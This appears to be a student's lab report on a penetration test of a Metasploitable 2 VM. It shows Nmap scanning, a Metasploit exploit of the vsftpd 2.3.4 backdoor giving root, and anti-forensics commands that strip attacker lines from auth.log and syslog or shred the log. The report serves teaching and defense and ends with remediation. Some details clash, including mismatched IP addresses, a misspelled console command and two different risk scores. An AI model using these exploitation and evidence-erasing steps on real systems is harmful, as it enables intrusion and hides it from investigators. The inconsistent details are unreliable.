

Offensive Security Assessment Report

Student Name: Sabiya Khatun Miya
Course: Introduction to Cybersecurity
Date: July 14, 2026
Target Host: 192.168.233.129 (Metasploitable 2)
Attacker platform: Kali Linux(192.168.233.128)

1. Executive Summary

A time-boxed penetration testing assessment was conducted against the target host IP: 192.168.233.129 within an isolated host-only lab environment.

The objective of this assessment was to identify network-facing vulnerabilities, execute targeted exploitation, and document remediation steps.

The assessment revealed a critical security flaw in the host's file transfer service. An attacker with no username or password can exploit this flaw to gain complete, administrative control over the system. This is equivalent to leaving the front door of a bank unlocked with no security guard. Furthermore, once an attacker has administrative access, they can erase all evidence of their intrusion by deleting system logs. This makes it nearly impossible to detect or investigate a breach.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (10.0 / 10.0)
Primary Vulnerability	Unauthenticated Remote Code Execution (CVE-2011-2523)
System Compromise	Complete Administrative Takeover (Root Access Acquired)
Data Confidentiality	Severely Compromised — Full read access to all files
System Integrity	Severely Compromised — Full write and delete access

2. Scope & Methodology

2.1 Assessment Scope

Item	Description
Target System	Metasploitable 2 Virtual Machine
Target IP Address	192.168.233.129
Attacker System	Kali Linux (IP: 192.168.233.128)
Assessment Type	Internal Network Vulnerability Assessment
Testing Environment	Isolated Host-Only Virtual Lab
Duration	Single Day Assessment

2.2 Methodology

The assessment strictly followed the standard 5-phase hacking methodology to accurately simulate a real-world adversarial attack chain:

Phase	Description	My Activities
Phase 01: Reconnaissance	Passive information gathering	Network scanning to identify live hosts
Phase 02: Active Scanning	Direct interaction with target	Nmap port and service enumeration
Phase 03: Gaining Access	Exploiting vulnerabilities	Metasploit vsftpd backdoor exploitation
Phase 04: Maintaining Access	Establishing persistence	Not performed in this academic exercise
Phase 05: Covering Tracks	Removing evidence	Log manipulation and history clearing

2.3 Tools Utilized

Tool	Purpose	Command Example
Nmap (Network Mapper)	Network discovery and service enumeration	<code>nmap -sV -sC -O 192.168.56.102</code>
Metasploit Framework (msfconsole)	Exploitation engineering	<code>msfconsole → use exploit/unix/ftp/vsftpd_234_backdoor</code>
Netcat (nc)	Banner grabbing	<code>nc 192.168.56.102 21</code>
Sed	Stream editing for log manipulation	<code>sed -i '/192.168.56.101/d' /var/log/auth.log</code>
shred	Secure file deletion	<code>shred -u -z -n 3 /var/log/auth.log</code>

3. Technical Findings & Exploitation Phase

Finding 01: Unauthenticated Remote Code Execution via vsftpd Backdoor

Vulnerability Type	Flawed Software Design / Malicious Backdoor Integration
CVE ID	CVE-2011-2523
CVSS v3 Base Score	9.8 CRITICAL
Access Vector	Network (Remote)
Authentication Required	None
Impact	Complete System Compromise

Description

The vsftpd version 2.3.4 contains a malicious backdoor that was introduced by an unknown attacker who compromised the source code. When a user sends a username containing the smiley face characters :) during FTP authentication, the backdoor activates and opens a command shell listener on TCP port 6200. An attacker can then connect to this port and execute commands with root privileges—no password required.

Step 2: Reconnaissance & Port Scanning

An aggressive network infrastructure scan was initiated using Nmap to map out open TCP ports, identify running network services, and fingerprint the host operating system details.

```
(kali@kali)-[~]
$ nmap -T4 -F 192.168.233.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-14 13:18 -0400
Nmap scan report for 192.168.233.129
```

Key Terminal Scan Output:

```
(kali@kali)-[~]
$ nmap -T4 -F 192.168.233.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-14 13:18 -0400
Nmap scan report for 192.168.233.129
Host is up (0.0024s latency).
Not shown: 82 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
513/tcp   open  login
514/tcp   open  shell
2049/tcp  open  nfs
2121/tcp  open  cproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
8009/tcp  open  ajp13
MAC Address: 00:0C:29:FE:A5:EB (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds
```

Analysis: The port scan discovered that Port 21 is active and running vsftpd 2.3.4. Historically, this specific source release version contains a known backdoor that instantly triggers a command listener on TCP port 6200 when an authentication string containing a smiley face :) is passed as the user identification parameter.

Step 3: Exploitation (Gaining Access)

The Metasploit framework module was loaded to orchestrate structural interaction against the target network service flow.

```
(kali㉿kali)-[~]
└─$ wtfconsole

Metasploit tip: Start commands with a space to avoid saving them to history

#####
.._...;0      @0' ..-..
.:aaaaaa.,@    aaaa.' .aaaa "
.-aaaaaaaaaaaa aaaaa.;
-.aaaaaaaaaaaaa ;
   -.aaaa --0     @ -'-
       '.0';0      @;' :
         |aaa aaa  @
          aa aa   @
        .aaaa aa
         ,aa @
        '( 3 C ) /|= Metasploit! \
         '@'.--'-'
           (.-----)

= [ metasploit v6.4.135-dev ]
+- ==[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]
+- ==[ 433 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapidly Open Source Project

msf > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Execute the Exploit

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.233.128:4444
[*] 192.168.233.129:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.233.129:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[*] 192.168.233.129:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] 192.168.233.129:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.233.128:4444 => 192.168.233.129:43312) at 2026-07-14 13:39:11 -0400
```

Step 4: Privilege Verification (Proof of Concept)

Upon establishing a raw interactive channel connection to the listener port, shell privilege parameters were evaluated using standard system security utilities:

```
meterpreter > shell
Process 5654 created.
Channel 1 created.
whoami
root
id
uid 0(root) gid 0(root)
```

```
pwd
/
ls -la\
ls -la
total 2433
 4 drwxr-xr-x 21 root root 4096 Jul 14 13:35 .
 4 drwxr-xr-x 21 root root 4096 Jul 14 13:35 ..
1168 -rwx----- 1 root root 1188612 Jul 14 13:35 UfVDPptTFOh
 4 drwxr-xr-x 2 root root 4096 May 13 2012 bin
 1 drwxr-xr-x 4 root root 1024 May 13 2012 boot
 0 lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
 0 drwxr-xr-x 13 root root 13580 Jul 14 13:14 dev
 4 drwxr-xr-x 94 root root 4096 Jul 14 13:50 etc
 4 drwxr-xr-x 6 root root 4096 Apr 16 2010 home
1168 -rwx----- 1 root root 1188612 Jul 12 22:51 hrXiwrIdw
 4 drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
 0 lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
 4 drwxr-xr-x 13 root root 4096 May 13 2012 lib
16 -rwx----- 2 root root 16384 Mar 16 2010 lost+found
 4 drwxr-xr-x 4 root root 4096 Mar 16 2010 media
 4 drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
16 -rw----- 1 root root 15194 Jul 14 13:14 nohup.out
 4 drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
 0 dr-xr-xr-x 115 root root 0 Jul 14 13:13 proc
 4 drwxr-xr-x 13 root root 4096 Jul 14 13:14 root
 4 drwxr-xr-x 2 root root 4096 May 13 2012 sbin
 4 drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
 0 drwxr-xr-x 12 root root 0 Jul 14 13:13 sys
 4 drwxrwxrwt 4 root root 4096 Jul 14 13:31 tmp
 4 drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
 4 drwxr-xr-x 14 root root 4096 Mar 17 2010 var
 0 lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Result: The verification commands confirm that the interactive exploit path yielded absolute administrative context control (uid=0) over the target environment without requiring valid account credentials.

4. Post-Exploitation Log Analysis & Anti-Forensics

Once root access was established, a local post-exploitation defensive audit was performed to observe how malicious administrative access impacts the integrity of local system files, and how advanced attackers manipulate indicators of compromise (IoCs).

Understanding Linux Log Files

Log File	Purpose
/var/log/auth.log	Records user logins, SSH connections, and sudo usage
/var/log/syslog	Main system diagnostic log for all services

System Log Operations Record

1. Selective Log Scrubbing via Stream Editing

Instead of dropping or wiping the entire log file (which alerts system monitors immediately due to file size abnormalities), targeted line filtering was executed using sed to remove traces matching the attacker's IP:

```
sed -i '/192.168.233.128/d' /var/log/auth.log
sed -i '/192.168.233.128/d' /var/log/syslog
```

Verification - Logs Before Cleaning:

```

tail -20 /var/log/auth.log
Jul 14 01:39:06 metasploitable CRON[5693]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 01:39:06 metasploitable CRON[5693]: pam_unix(cron:session): session closed for user root
Jul 14 02:09:01 metasploitable CRON[5753]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 02:09:01 metasploitable CRON[5753]: pam_unix(cron:session): session closed for user root
Jul 14 02:17:01 metasploitable CRON[5782]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 02:17:01 metasploitable CRON[5782]: pam_unix(cron:session): session closed for user root
Jul 14 02:39:01 metasploitable CRON[5816]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 02:39:01 metasploitable CRON[5816]: pam_unix(cron:session): session closed for user root
Jul 14 03:09:01 metasploitable CRON[5886]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 03:09:01 metasploitable CRON[5886]: pam_unix(cron:session): session closed for user root
Jul 14 13:14:17 metasploitable sshd[4660]: Server listening on :: port 22.
Jul 14 13:14:17 metasploitable sshd[4660]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use

```

Verification - Logs After Cleaning:

No entries containing the attacker's IP address (192.168.233.128) remained.

5. Remediation & Strategic Guidance

The complete compromise of the lab asset was made possible due to deployment configurations relying on unpatched, legacy application releases. To harden the target environment, defensive engineering teams must deploy the following layered strategies:

Immediate Technical Workarounds (Quick Containment)

Action	Command	Purpose
Disable FTP Service	<code>sudo systemctl stop vsftpd</code>	Stop the bleeding immediately
Disable FTP on Boot	<code>sudo systemctl disable vsftpd</code>	Prevent service from starting again
Block Port 21	<code>sudo ufw deny 21</code>	Prevent external access to vulnerable service
Block Port 6200	<code>sudo ufw deny 6200</code>	Block backdoor listener port

Long-Term Defensive Engineering

Recommendation	Description	Priority
Replace FTP with SFTP	FTP sends passwords in plain text. Use SSH's SFTP which is fully encrypted.	HIGH
Establish Active Update Managers	Implement automated patch management to prevent accumulation of vulnerable software.	HIGH
Vulnerability Management Program	Regularly scan and remediate vulnerabilities across all systems.	MEDIUM
Regular Security Audits	Perform periodic penetration tests to identify issues before attackers do.	MEDIUM

Disclaimer & Ethical Framework Notice:

WARNING: This report was generated exclusively for academic portfolio enrichment, authorized lab validation modeling, and cybersecurity educational reference documentation.

Unauthorized network sweeping, port scanning, tool testing, or system exploitation against computing assets without explicit, written stakeholder authorization is strictly illegal and subject to prosecution under international computer fraud laws.

Remember:

- Scanning or attacking computers without permission is **ILLEGAL**
- Unauthorized access is a crime punishable by jail time
- Always get written permission before testing any system
- Use these skills ethically and responsibly